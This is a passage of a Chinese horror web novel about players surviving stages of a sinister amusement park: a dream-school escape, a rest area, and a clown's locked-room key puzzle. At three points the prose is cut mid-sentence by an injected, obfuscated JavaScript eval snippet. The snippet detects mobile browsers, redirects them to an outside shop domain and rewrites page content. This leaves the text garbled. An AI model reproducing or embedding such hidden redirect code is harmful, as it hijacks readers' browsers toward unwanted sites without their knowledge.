伸手从右裤兜里掏出来一看,是一枚做工极其精美的小马印章。 厍砚感觉很熟悉,直觉告诉她这东西就是她的,但是完全想不起来自己是怎么得到这种精美工艺品的了。 又一次的回忆无果后,厍砚随手将小马印章放在手机上。 手机顿时发出了刺眼的红光,厍砚不自觉眯了眯眼睛。 随后朝手机屏幕看去——手机里所有的应用界面都消失不见,手机只显示白□□面,无论怎么操作都没有变化。 白□□面中静静的躺着和小马印章别无二致的图标。 “灵、灵异事件吗!”厍砚话音刚落,头就开始传来强烈刺痛感。 厍砚不由得趴在桌子上抱住头,刺痛感过后厍砚发现她的记忆回来了。 4. 走出困境 厍砚找回了记忆,仔细核对后说: “这个世界的力量居然可以改变人脑子里的认知吗……” 她开始捋清楚现在的情况——刚找回记忆的她自己、疑似有一个队友联机关卡、依旧意义不明的关卡内容。 依旧毫无头绪啊,厍砚叹了口气。 她决定去找精神医学三班的那个玩家汇合,看看有没有什么破局思路。 厍砚快速来到精神医学3班的教室区域。 由于那个玩家并没有和她说清楚具体在哪一个教室,因此她从第一层找。 所幸这个学院楼并不大,最后厍砚在学院楼的二楼楼梯旁的教室找到了黑影人。 她叹了口气,问:“你怎么不直接说在哪个教室呢。” 黑影人愣了一下,不好意思地挠了挠头道: “对不住啊小妹妹,我没上过大学,来到这里问了周围的人,他们说是几班就是几班了。” 厍砚听完,对此表示理解,思考后决定先得知对方的现实世界一些信息。 毕竟她现在并没有完全信任对方真的是玩家,不能确定是不是其他的什么东西假扮的。 于是她开口询问对方。 对方回答: “我是干装修的,刚从队伍里退役没多久。”他停顿了一下,继续开口道: “工作午休时莫名其妙就来到这个奇怪的地方。对了,我叫陈安。” 厍砚点点头,道:“我是厍砚,你好。” 双方交换名字后复盘当下情况,从进入摩天轮到现在,这个关卡并没有给予什么提示。 “你还记得来到这个地方之前,进入摩天轮之后的事吗?”厍砚问。 陈安仔细回忆: “进入摩天轮之后,好像并没有什么特别的地方……内饰挺好的?” 他越说越小声,像是沉浸在回忆里自言自语。 “倒是有一点比较奇怪,我记得我当时在摩天轮上看夜景,突然就感觉很困!”陈安说道。 “这样啊,我也有这种感觉。”厍砚思索着开口: “所以我们现在有可能是在一场梦里。” “梦里吗……” “我猜测是这样,所以我认为,我们现在应该要想办法醒来。” 厍砚说着并掏出随身携带的摩天轮游玩须知。 “而且我记得,这上面写了一条规则是——‘摩天轮游玩流程在两个小时以内’,你不觉得这带有一些警告的意味吗?” 厍砚指着上面的规则说。 陈安皱眉,点点头道: “这个猜测好像确实有些道理,但是这思路好像有些太跳跃了吧。” “当然,我也只是这么猜罢了。”厍砚耸耸肩。 “如果真按你说的这样,那么我们必须在两个小时以内醒来。” 陈安若有所思,说: “我记得须知单上有写‘摩天轮的设立初心是让客人观赏美妙夜景’,这个点我有些在意,因为我们现在虽然在梦里,但压根没见到什么夜景。” “这个我也很在意。”厍砚顿了一下,说: “所以我们不仅要醒来,还要欣赏到所谓的夜景?” 陈安挠挠头,道:“算了,现在想这么多也没什么线索,先试试在这鬼地方找找吧。” 随后起身准备离开。 厍砚也觉得确实不应该把时间都耗在思考上,现在掌握的线索确实太少了,想得过多反而容易误导自己。 “那么我们就约定好时间在这集合吧,一个小时后,你觉得怎么样?”厍砚掏出手机看了一眼道: “现在是……22点30……?” 厍砚疑惑地抬头看了一眼窗外,阳光明朗。 她顿了顿,看向陈安: “嗯,对,现在是晚上十点半,一个小时后在这集合。” 陈安看了一眼窗外,点点头就离开了。 …… 厍砚在这个陌生的学校四处游走,脑中不禁想着规则内容。 哀伤摩天轮……为什么是哀伤,开心旋转木马的“开心”是惩罚,那么这个“哀伤”又会是什么呢,也是惩罚吗?还是说其他的意思呢?话说这个疑似梦境的地方开局就是学校,那么这个梦境的范围是只有学校吗?如果真是这样的话…… 脑中一边头脑风暴,一边快步走向学校大门处。 在途中厍砚询问几个学生,得知整个学校有三处大门,其中只有东边的大门能使用。 来到东大门的厍砚向外张望,门外像是被笼罩上一层厚厚的白色迷雾,无法看清学校之外的景色。 原来如此。 或许离开这个学校就能离开这该死的梦境了吧! 厍砚正思索着怎么离开,却突然看见大门旁边的安保室中有一个熟悉的身影。她缓缓上前查看—— “Surprise!”一个红黑色的身影突然窜出,发出惊喜地叫喊: “尊贵的客人,恭喜您找到我了!” 厍砚被猛地吓了一跳。原来是游乐场的小丑! 但是仔细一看却发现对方的身体居然是巴掌大的小木偶。 “客人您怎么不说话,看到我在这不觉得很惊喜吗?” 小丑玩偶咧着嘴笑着,歪了歪头询问。 如果是其他人搞这一出来吓厍砚,她会一脸严肃地告诉对方以后不要这么做。 但现在是惹不起的怪谈世界生物,厍砚只能忍着不悦,敷衍对方:“惊喜惊喜哦。”说完反问对方: “所以说你在这里的目的是?” 小丑看着厍砚,神秘兮兮地说: “尊贵的客人,您是第一个发现我在这里的客人。” 小木偶拍了拍手,四周莫名响起欢快的喝彩声, “为了奖励您!我决定把我赠送给您哦!” 厍砚抽了抽嘴角:“所以,额,这算奖励……吗?就因为我看见你了?” 小丑玩偶似乎没听出来厍砚的抵触情绪,只是张开手臂笑着看厍砚。 厍砚非常不想要这个“奖励”,毕竟谁知道会不会有诈呢? 虽然小丑在这个副本世界的地位好像还挺高的,但谁知道他整这一出是不是想利用这个木偶来监视玩家呢? 她想了想,开口道:“你的这个奖励,你能干什么,你的作用是?” 小丑玩偶原地蹦跶了两下,又转了两圈回答: “我这个玩偶可以帮客人您抵挡一次致命伤哦!是不是很实用呢?心动的话就快点收下我吧!” 厍砚听到这回答确实有些心动。 毕竟根据她在现实世界看的这么多恐怖无限流规则怪谈小说,这种怪谈世界不仅有解密元素,必要的时候还要和各种诡异搏斗。 “那么你这个木偶是仅限在你这个世界使用吗?”厍砚询问。 小丑木偶张开嘴发出夸张的笑声,回答道:“当然……不是啦!尊贵的客人。” 它停止了笑声,继续向厍砚伸出手臂。 厍砚并没有在小丑木偶的话语中得出什么陷阱迹象,于是她试探性地向木偶伸出左手。 小丑木偶随后迅速顺着她的手往上爬,趴在厍砚的左肩。 厍砚似乎是想到了什么,开口问道: “我很好奇,你会被其他人抢走吗?” 木偶歪头看向厍砚,摇了摇头说: “不会哦,尊贵的客人,请您放心,我不会被其他存在抢走,也不会被其他人看见。我是只属于您一个人的木偶~” 厍砚右眼皮不自觉跳了跳,她缓缓闭眼,试图忘记这有些恶心腻歪的话。 最后没忍住,像是被尴尬笑了一样,无奈地附和: “好的好的,那可真是太好了呢。” 厍砚眼睛一转,眯了眯眼,脸上换上了礼貌性微笑询问: “那么… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527511|203586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …你能告诉我这个关卡的通关办法吗,你知道的,对吧?” 小丑木偶愣了一下,像是没料到怎么会有人就这么向它一个怪谈产物索要通关方法。随后它发出一声嘲笑: “哎呀,真不好意思呢,我什么都不知道哦,真的。” 厍砚也没在意,毕竟她只是随口一问,也没抱什么太大的希望。 …… 距离集合还剩40分钟。 22:50。 厍砚东晃晃西转转,依旧对这摩天轮关卡毫无头绪,也找不到任何验证她猜想的方法。 “那些怪谈小说里也没说这种什么线索都不给的关卡应该怎么通关啊……” 厍砚看着校门外浓浓的雾气喃喃自语。 “哎?小妹妹!” 厍砚听见一声熟悉的呼唤,转头退后一步看向身后。 来者正是陈安。他招了招手快速跑来。 厍砚向对方点头示意,待对方跑来,她问: “来得正好,你有没有发现什么特别的地方?” 陈安叹了口气,回答道:“唉,没有。”他顿了顿,像是开玩笑, “我们在这鬼地方经历的这些破事,有点像柿子小说里那些什么国运闯关直播小说,果然只有传说中的气运之子才能活下来吗……” 厍砚看对方这语气好似要自暴自弃了,想开口安慰两句提升团队志气,但她并不善于说场面话,于是只能干巴巴地说: “尽力就好,大不了一死,像我们这种普通人能闯过一关也算回本了。” 陈安一时间竟觉得有几分道理,但又觉得哪里说不上来怪怪的。但也打起精神开始思考。 厍砚想了想,说: “我刚刚问了这个世界的‘学生’,说这个学校世界只有东边大门能供学生使用。”她不自觉摩挲指关节。 “但是我去看过,东门外全是一片迷雾。现在的情况就只能大致确定这个梦境的范围也许就是这个学校。” “我也看到了,确实是这样。所以,脱离梦境就相当于我们要离开这个学校?”陈安开口问道。 “我也是这么猜测的,因为目前的信息就只能得出这个结论。”厍砚道。 陈安皱了皱眉:“我上个关卡选择的是鬼屋,有三四个人参加。那小丑说开始之后,鬼屋外就被围栏围起来了。还冒出很多浓浓的黑雾。我们这几个人有一个自称是老玩家,其他的都是像我这样的新人。” 他回忆着,“当时有个看起来是十几岁小男孩的黑影,大概是年龄太小了承受能力弱吧,直接精神崩溃翻越围栏跑进雾里……” “然后呢?” “然后……然后就只听见围栏外响起尖叫,还有咀嚼的声音。”陈安抽了抽眼皮,试图眨眼忘记当时的画面。 “所以这雾气果然不是什么好东西啊……这玩意儿出场率还挺高。”厍砚想了想,说: “对了所以你过的上一个关卡是鬼屋?我上一个过的是旋转木马,不如我们……” 陈安眼睛一亮:“那敢情好啊!互帮互助,反正现在也没什么能干的事。”他快速开口道: “过鬼屋你只需要¥%……&*¥……%&¥!” 厍砚皱了皱眉:“嗯?什么?” “没听清吗?我说,过鬼屋你先¥%……&%¥然后#¥……最后!@#¥%就行了。” 陈安略提高音量说。 厍砚想了想,说:“你过旋转木马要#%……!” “小妹妹,你说话怎么还自带杂音啊。”陈安疑惑发问。 厍砚叹了口气,说: “看来没这么简单,我们不能相互‘抄答案’了,规则力量把我们说的相关内容被屏蔽了。” 二人再叹一口气,就这么原地坐下了。 …… 汇合后20分钟后——23:10。 “或许……我有一个想法。” 5. 清醒清醒 厍砚再次回想了一下,开口道:“或许……是我们想复杂了呢?” “哦?怎么说?”陈安好奇。 “我刚刚仔细回想了一下,你说你上个关卡围栏外笼罩黑雾,对吧?” “对啊,这能说明什么?”陈安再次问道。 厍砚想着刚进游乐园和旋转木马围栏外的黑雾。 她眼睛无意识看向下方,回答道: “你也看到了,这个学校大门外有雾,但你不觉得那些雾和其他时候的不太一样吗?” 陈安想了想,试探性开口:“你是指颜色吗?” “对,所以我猜,或许‘白雾’和‘黑雾’不一样呢?”厍砚若有所思。 “这……乍一听好像确实有些道理啊,但是这规则里没说关于雾气的内容啊。”陈安犹豫地说。 “确实是没说,所以我也只是说出了我的猜测罢了。”厍砚停顿了一下,缓缓开口: “要不我们一起再去东门看看?” 陈安接受了这个提议,于是二人再次来到东门。 厍砚上下活动了一下左肩,陈安随口问了一句:“怎么了?” 随后她沉默了一下,说:“没事,肩周炎,老毛病了。” 陈安听完啧啧两声,连连感叹: “现在大学生也这么不容易了吗,你们年轻人还是得好好注意身体啊!” “不是,我21,你几岁?就在这说我是年轻人了?”厍砚没忍住吐槽一句。 “哥们都28了,小妹妹,你确实是年轻人没错啊。”陈安笑了两声,随后感慨:“话说我有个妹妹,25岁了,你和她比也依旧算是个小年轻呢!” 厍砚干笑两声,想着笑一下得了。 二人唠完家常,随后看向门外的迷雾。 “这雾气……白雾,真的会是通关的关键吗?”陈安迟疑地开口。 厍砚回答:“说实话,我不确定。” 她来回踱步,视线瞟见之前进的安保室,“我去看看。”说罢就闪身进入。 厍砚搜寻两圈,整个安保室设施并不怎么先进,连个监控设施都没有。就只放一张书桌和凳子。 当时她被小丑玩偶吸引注意力,竟没有发现书桌靠墙那个内侧有个隐蔽抽屉。 打开抽屉后,里面除了两张带有挂牌的空白工作卡外,再无其他。 厍砚带上工作卡,对着安保室外的陈安说:“我记得大学的校门进出有些是要验证身份的,或许这两张工作卡就是起到钥匙一样的作用?” 陈安皱眉,缓缓点头道:“别说,你还真别说。有可能!”他拿起其中一张工作卡道:“甚至还有两张,正好对应两个人!” 他停顿了一下,问:“不是,这安保室我刚刚也来过,我怎么没有发现有这玩意儿?” 厍砚解释:“在靠墙内侧的抽屉里,这个抽屉很隐蔽,我上次来也没看见,刚刚才看见的。” 陈安点点头,挂上工作牌道:“我先试试能不能开,如果我走出去了,你没听见我的叫喊,那就是安全的,你也尽快出来。” 厍砚沉默了一下,似乎是对这种微妙的善意不太习惯,不知道怎么开口,只能目送对方刷开电子门后走进白雾中。 她等待了一分钟,没听见什么异常声音,试图平静下自己微微颤抖的双手,逼迫自己迈腿走出校门。 …… 一阵白光闪过,厍砚伸手揉了揉眼,发现自己回到摩天轮上,此时窗外依旧是黑夜,整个游乐场亮起彩灯。 这位刚通过关卡的年轻人,此时的第一反应并非活下来的喜悦,而是庆幸。 太好了,没出错,陈安没有死……没有因为自己的猜想牺牲。 我确实懦弱,我提出来的猜测,那么就应该我去试才对。 他是个善良的人……幸好是对的。 如果猜错了,我承受不住一条善意的生命因我而逝去。 厍砚自言自语道: “果然我还是不太行吧,像我这样的人难怪只有好友和对象愿意和我玩……”她愣了一下,随后自嘲地笑了一下: “不对,现在只剩好友了。” 厍砚猛地甩了甩头,及时从消极情绪的泥沼里脱身。掏出手机,时间显示——23:20。 她乘坐的这一厢体刚过摩天轮最高点,厍砚看着窗外的夜景,心情不自觉平静起来。 窗外的彩灯星罗棋布,让这个怪谈游乐园染上一些现实的烟火气。 回想这个关卡,其实并不怎么难,通关条件甚至可以说得上简单。 但这个关卡是有些反常识在里面的。 该世界的“雾气”对于玩家来说可以和危险划等号,毕竟觉得不危险的早就试图离开跑进去死掉了,留下来的玩家基本上都会觉得“雾气”就是致死牢笼。 ——23:40。 厍砚离开摩天轮,拿到小丑给的摩天轮印章,顺手存入手机中。 剩下的游玩项目全都是三个小时打底,她考量了一下剩下的两个多小时,决定找个地方放松高压神经。 厍砚不知不觉游荡到售票室,黑红色小丑本尊看到,笑着欢迎:“尊贵的客人您……” 小丑看见她左肩上的小丑玩偶,笑得更加夸张道:“哎呀!客人您真是幸运,恭喜您找到了我!” 厍砚无奈笑了笑:“这句话我已经听过了,多谢。” 小丑原地兴奋地蹦跶着转了两圈,欢快道:“哎呀,真有趣!哎呀,有意思!哎呀,我喜欢看!” 厍砚疑惑地看着对方的迷惑行为,呆在原地看对方疑似在发神经。 小丑像是注意到厍砚的情绪,清了清嗓子解释道: “哎呀,尊贵的客人,您别介意,我只是太高兴了,对,我为您感到高兴!您获得了一次宝贵的试错机会!我为您的幸运感到高兴!我赞扬您的好运!我期待您的故事发展!” 厍砚觉得对方像是疯了一样,害怕小丑像那种兴奋过头的猫,冷不丁给厍砚来上两下子。 她开始缓缓后退,一边干笑着敷衍:“你开心就好!你开心就好……”后退十来步后发现没有什么“追逐战”,于是她转身快步离开。 厍砚没听见,在她转身走远后,小丑停止发癫,看着她的背影歪了歪头,露出诡异的微笑,像是在期待什么有趣的戏剧。 …… 就这么混到凌晨两点。 ——休息区在惊悚鬼屋后方五百米处。休息区为vip们设置了良好的休息设施。凌晨2:00之前休息区将进行清理维护暂不开放。 厍砚来到休息区,引入眼帘的是一个半圆形建筑,既像没耳朵的耗子妙妙屋,又像某海星的半圆石头门。 打开门意外发现屋内光线十分明亮,和屋外的夜景形成鲜明对比,让人轻而易举地知道哪边是安全区域。 这房子外表上看是半圆形,屋内却是寻常房屋的方形。 厍砚四处打量——屋内陈设还算干净现代化,开门就是客厅,客厅放置有沙发、饮水机、自助餐的餐车、一台电视和抓娃娃机。 餐车里的食物全都是厍砚爱吃的,并且味道极佳,确实称得上顶级。 客厅左右两侧则各有一扇门。 四处转悠后发现,左边应该是单人卧室,右边房间整齐放置六个长沙发围成一个大圈,只开了三个小口供人出入,除此之外什么都没有。 厍砚看着右边这不太寻常的沙发室,不禁开始猜测用途。 “或许……” 心里刚想着各种可能性,就看见房间里陆续出现一些黑色人影。 整个房间顿时变得热闹起来。 “唉?怎么回事。”“好多人。”“所以这房间是……” 讨论声惊呼声此起彼伏。 厍砚顿了顿,找了个空沙发落座,条件反射地动了动肩膀试,图防止木偶掉下来。 “小妹妹!你也在这啊!”一个熟悉的声音又响起了。 厍砚猛地转头寻找声音来源。 “这呢!”一个身量熟悉的黑影快步坐到厍砚旁。 厍砚迟疑开口:“陈安吗?” 随后她好奇询问:“这么多黑影,你是怎么认出我的。” 陈安哈哈一笑: “原本是不认得的,但是看到所有黑影中只有你会活动左侧肩膀,就一下子认出来了!” 厍砚尴尬地笑了笑:“……你观察得还挺仔细啊。”环顾了四周后继续说:“这个房间大概就是玩家们用来交流用的吧。” “我看也像。”陈安回答道。 厍砚思考了一下:“看起来,人还是少了不少。我过第一关时也有玩家交流时间来着,当时我目测选择旋转木马的大概十多个玩家。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527512|203586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在整个屋内好像也是十多个玩家……” 陈安沉默了一下,像是不知道该说什么。 毕竟死亡这一个话题太过沉重,无法言说,但最后却只能用寥寥几个数字代表死者的生命。 厍砚决定转移话题,说:“对于这个休息区,你怎么看?” “我觉得……”陈安像是在思考,停顿一会儿后缓缓开口道: “这个地方,应该也不是百分百安全的。但是既然规则上写了能在这里睡觉,那至少睡觉的时候起码不会有什么奇怪的事发生。” ——8.休息区给予顶级的安保服务,您在休息区内可安心享受一切休闲设施,绝对不会发生任何外来意外。 他想了想,再次开口:“毕竟这破烂世界总不可能让我们连续三天都心惊胆战的吧。新手关卡罢了,真这么搞这谁能受得了。” 厍砚赞同地点点头,道:“我也觉得,而且我认为,在这个屋子里我们最好只用来吃饭喝水睡觉休息,其他的能不碰的尽量别碰。” 陈安好奇道:“吃喝睡我知道能做,但是后一句为什么这么说?” 厍砚试探性说出自己对规则理解,不出意外,被怪谈世界神秘力量屏蔽了,于是换了个委婉的说法解释:“规则上这么写的,得抠字眼。” 陈安若有所思地,他掏出也是顺手拿的规则单,片刻后似有所悟地点点头。 “细,太细了。”陈安感叹道。 话音刚落,房间里的黑影们顿时消失不见。 厍砚掏出手机一看——凌晨两点半。 看来玩家们交流时间只有半个小时。 走出房间后,厍砚看了一眼摆放在客厅中央的电视和角落的抓娃娃机,随后决定还是先回卧室休息。 她躺在床上,脑子里冒出一个无聊乱想的念头——如果打开那个电视机,出来的会不会是贞子呢? 仔细思考过后,决定不拿自己的胆子和小命去尝试。 …… 早上10:00,游乐园世界第二天。 厍砚起身,一边思考今日的闯关安排,一边准备走出卧室。 打开门,第一眼就看见玩家交流室的大门紧闭着。 凌晨时只给了半个小时的时间用来交流,那么白天会不会也给时间交流呢? 厍砚试探性拧开把手,把手纹丝不动。 “或许现在不是开放的时候。”厍砚叹了口气,便不再好奇,用过餐后就准备离开休息区。 然而当她试图打开门离开休息区时,却发现休息区的门也打不开。 “这也打不开,那也打不开……” 厍砚转头一看,卧室门不知什么时候也被关上了。 看来在游乐园开园前这段时间,这个副本并不想让玩家们“荒废”时间。 于是厍砚静静地坐在沙发上发呆等待着。 早上10:10。 咔嗒! 交流室的门开了。 厍砚起身站在门外观察情况。 交流室内的沙发不翼而飞,取而代之的是一张长长的餐桌,餐桌左右两侧共十张椅子,原本放置着普通白炽灯的天花板此时吊着一盏巨型水晶吊灯。 整个空间比凌晨时更加宽敞。 厍砚有一种不好的预感,正思考着要不要进去时,交流室此时显现出九个黑影。 看来就差我一个了。 厍砚缓缓走进交流区内,身后的门立马关上。 “欢迎欢迎!尊贵的客人们。” 一声熟悉的问候突然出现,盖住众人细碎的交流声。 循声望去,一个黑红身影正坐在水晶吊灯上向众人招手。 这正是小丑! 玩家黑影们看见晃来晃去的巨形吊灯,全都慌乱地后退,生怕自己成为灯下亡魂。 小丑纵身一跃,稳稳落在餐桌主位前。 “客人们请入座!”小丑保持着夸张笑容,看向众人邀请道。 玩家们犹犹豫豫着找了个空位坐下。 厍砚扫视一眼,发现在场玩家正好坐在十张椅子上,不多不少数量正好。 “怎么只有十个,是只邀请了十个,还是说……”厍砚暗自忖度。 整个房间十分安静,没有一个玩家开口,全都盯着主位的小丑。 显然,大家全都等待小丑说明情况。 6. 餐后团建 小丑看所有人都落座,向玩家们深鞠一躬。 随后拍了拍手,咧开嘴,兴奋地说道:“客人们全都齐了,那么现在就开始吧!” 虽然看不清玩家们的表情,但黑影们好似如临大敌,全都僵硬地盯着小丑的动作。 但却没有发生什么危险的事。 只见每个玩家面前凭空出现一道精致的小蛋糕。 众玩家摸不清楚小丑的葫芦里卖的什么药,但总归是没什么好事发生。 “客人们无需感到拘束。”小丑扫视在场的十位玩家,仿佛透过黑影将玩家们的表情尽收眼底。 一位黑影开口,发出清脆的女声,问道:“你把我们全都召集到这里,是想干什么?” 小丑笑了笑回答道:“为了款待各位尊贵的客人。”他停顿了一下,接着开口道: “顺便……和各位客人玩一个小游戏!” 众人不语。 片刻后另一位黑影发出男声问道:“到底什么游戏?” “哦?看来客人们对这个游戏感到十分好奇呢!” 小丑看起来十分高兴,高声宣布道:“那么我们就正式开始吧!” 玩家们听到这话,全都警戒地身体前倾。 “哈哈哈哈……”小丑无征兆地开始放声大笑起来,声音十分刺耳。 黑影们明显一愣,不知道该作何反应,只能相互隔着黑影对视一眼。 小丑冷静下来,笑着说:“我只是和各位开了个小小的玩笑,请不必紧张。” 随后说道:“请各位用餐吧!” 玩家们不知该不该听小丑的话,但眼下信息量实在是太少了。 不吃,小丑有可能暴起杀人,因为不确定他的命令算不算是规则的一种,所有人都清楚违反规则的下场是什么。 吃,不清楚这蛋糕里究竟有没有什么古怪,鬼知道吃了之后会变成什么样子。 但是眼下摆在众人眼下的路只有一条,显然只有听从小丑的命令才是目前的唯一解。 毕竟小丑总不可能把全部玩家都毒死在这里吧…… 厍砚看着眼前的情况,心里只觉得后悔,后悔刚才为什么要吃得太饱。 索性小丑并没有要求玩家必须全部吃完,众人不约而同地只吃了一口就放下餐具。 小丑很满意大家的顺从。 “看到各位如此喜欢本园的食物,真是十分荣幸啊!”小丑高兴地转了个圈,感慨道。 他接着开口:“哎呀!忘了告诉各位客人,厨师为各位客人准备食物时粗心大意,把出门的钥匙各位刚才吃的食物里了。” “这可如何是好啊!”小丑故作苦恼的样子: “只能劳烦各位客人,从现在开始在两个小时内找出钥匙啦!不然……各位客人就只能永远呆在这里了!” 小丑毫无愧疚,笑嘻嘻地从身后掏出一块红布往身上一盖,瞬间消失在众人眼前。 “等等!”“什么意思,说清楚!”“你*****!” 小丑消失后,刚起床就被迫参加“游戏”的众人发出的咒骂声不绝于耳。 有人踢掉椅子泄愤,有的试图掀桌子、掀餐盘,却发现桌子和餐盘像是焊死了似的,纹丝不动。可能是早已预判到玩家们的破防行为吧。 厍砚掏出手机看了一眼时间——早上10:30。 随后无语地笑了一下。 果然没好事啊。 事到如今就只能去找那劳什子钥匙了。 厍砚坐在座位上,看着现在每个人面前的只吃了一口的蛋糕思考着—— 钥匙的所在,最好的情况是这钥匙就在剩下的蛋糕里。 最坏的情况…… 厍砚思及此处,低头看向自己的肚子。 “不管了,先找!” 厍砚开始上手在自己面前的那个蛋糕里翻找。 其他人发泄完缓过劲,也开始在蛋糕里翻找。 “没有。”“啧,我这里没有!”“不在我这,到底在谁那?” 厍砚听着其他人的自言自语,每听一句心就好似沉下去一分。 看来情况的走向好像不太乐观。 她看着眼前的情形,趁其他人专心翻找,悄悄把吃蛋糕用的钢叉子塞进自己的衣兜里攥着。 以防万一!以防万一…… 突然间,厍砚像是想到了什么,扭头就开始吐,试图看看自己有没有吃下钥匙,能不能吐出来点什么线索。 其他九个玩家黑影意识到钥匙并不在剩下的蛋糕里,看到厍砚开始吐,眼前一亮,也跟着吐。 但很遗憾,厍砚除了胃液什么都吐不出来,刚吃下去的蛋糕和进门前吃的早餐也都像消失了一样。 其他九人也是什么都吐不出来。 人群开始骚动起来,“草!这沟槽的钥匙究竟在哪!”众人开始焦虑,都在害怕自己死在这里。 “不就是一扇破门吗,我们十个人还不能把门砸开吗?”一道男声说道。 众人听到这话,有些犹豫。 毕竟存活到现在的玩家们,基本上都对这怪谈世界的力量有一定的了解。 在怪谈世界里单靠蛮力可不一定能成功。 “试试嘛,说不定呢?搏一搏单车变摩托!” “我也觉得,而且这门看起来像木头做的!” 众人动摇,人群中站出来三个人影。 “我叫张万文,是个职业拳击手!我来试试!”一道男声介绍道。 “我是钱兰,是一级长跑运动员!”“单云,散打五段。” 一道女声和一道男声紧随其后开始介绍。 三人对着门踢的踢,撞的撞,但那木门坚固无比,甚至没有因为这猛烈攻击而颤动半分。 其余玩家们一看,心中燃起来的一点希望瞬间被浇灭。 “让开!都让开!!” 众人转头一看,连忙闪到两侧。 只见一位玩家抄起椅子就朝门跑来。 砰!砰!砰! “握草嘞,怎么砸不坏?!” 试图砸开门锁的玩家发出一声崩溃的疑惑。 “大家别慌!在下人送外号‘开锁王’!我来试试能不能把这破门撬开!” 一个黑影伸高手臂,发出男音高声说道。 其他玩家顿时激动起来。 “哇趣!兄弟你快试试!”“难道说……!!” 开锁玩家环视一圈,摆摆手,随意拿起餐桌上的一个钢叉。 玩家们迅速围着这个开锁玩家向门走去。 厍砚隐隐有些期待,但心里不禁怀疑—— 真的会这么简单吗? 人类开锁匠的开锁技术对怪谈世界的门真的有用吗? 会开锁的那个玩家握着小钢叉,站在门前,拿着钢叉试图在眼前的锁上找到能撬开的地方,东戳戳西看看,却无从下手。 厍砚看着眼前的景象,觉得在门锁上找突破口估计不太行。 她坐回原本的座位上开始沉思。 我记得……小丑消失后有玩家试图掀餐桌和盘子,掀不动。 厍砚看着眼前的餐桌—— 餐桌表面盖上一层红色桌布,玩家们吃剩的蛋糕就这么放在上面。 厍砚试着伸手摸了摸眼前盛着蛋糕的盘子。 陶瓷材质,没什么特殊的。 她脑子里冒出来以前看过的电视剧,主人公家设有密室,而开启密室的正是书架上不可移动的、固定在书架上的花瓶,只要轻轻转动…… 厍砚一边回想着,一边跟着回忆转动陶瓷餐盘。 “这盘子居然能转!”一位玩家正好瞥见这一幕,随即招呼其他玩家模仿厍砚。 十个盘子转动,玩家们仿佛感受到在震动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527513|203586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一个玩家惊呼:“我靠!天花板在降落!” “不,不是天花板,是我们,我们在上升!”另一位玩家反驳道。 玩家所处的餐桌区域这一块地正在上升,直到上升至空间的一半高度才停止。 一个玩家试探性站起来,发现现在的高度离巨大吊灯很近了。 厍砚向后看去,目测距离原本的地面大约有三米高。 “完了,这下该不会要被困在这餐桌上了吧……”有玩家惊恐。 “怕什么,才这么点高度,大不了跳下去,反正也摔不死!” 啪嗒—— 众人循声望去,发现餐桌上落下一张白色狐狸面具。 那面具眼部,并不像寻常狐狸样式物品设计的那样眯着双眼,反而睁大眼部,似是十分不甘心地目视前方,看起来略显诡异。 下一秒,狐狸面具竟然开口说:“食物……戴上我,戴上我!” 大家都紧盯着餐桌中央的面具不敢乱动。 过了一会儿,那面具并没有其它动作,只是重复着话语。 离它最近的一位玩家犹豫了一下,缓缓伸手拿起狐狸面具。 那面具见有人拿起了自己,便出声叫喊:“不要你!不是你!” 玩家愣了一下,试探性发出女声开口问道: “你要什么?” “我要……食物!你们!食物!” 面具尖利的叫喊让人不适。 那位玩家把面具靠近她面前的蛋糕,问: “这个呢,吃吗?” “不对!不对!选,你们!对的!” 它地诡异话语让在场的玩家心里发毛,不敢去想面具面具要吃的对象是不是…… “如果我们真的给你食物,你能给我们什么?”厍砚向面具问道。 狐狸面具发出一阵刺耳笑声,兴奋回答:“给予!所求!所想!所思!” 玩家们皆是一愣,所求所想? 在场的每个人现在最迫切需要的就是钥匙。 人群顿时沸腾起来。 厍砚沉思片刻,继续问:“你想吃的,是我们之中的某一个人吗?” 其他人听到厍砚直白的发问,瞬间安静下来,心里纷纷祈祷面具给予个好答复。 “嘻嘻嘻……对!对!”面具开始兴奋起来。 听到这个回答,玩家们只觉得自己头上仿佛悬着一把剑。 厍砚追问:“那么如果我们找到了你想要的人,怎么给你呢” 虽然她的心里有了一点猜想,但以防万一开始决定开口细问。 这问题或许有些反人类,但却也是在座许多玩家所好奇的。 “戴上!戴上!”面具急切的回答确定了厍砚的猜想。 “你想要什么样的人?” “食物!食物!” 众人转头,你看看我我看看你,依旧不清楚面具的要求。 厍砚暗忖—— 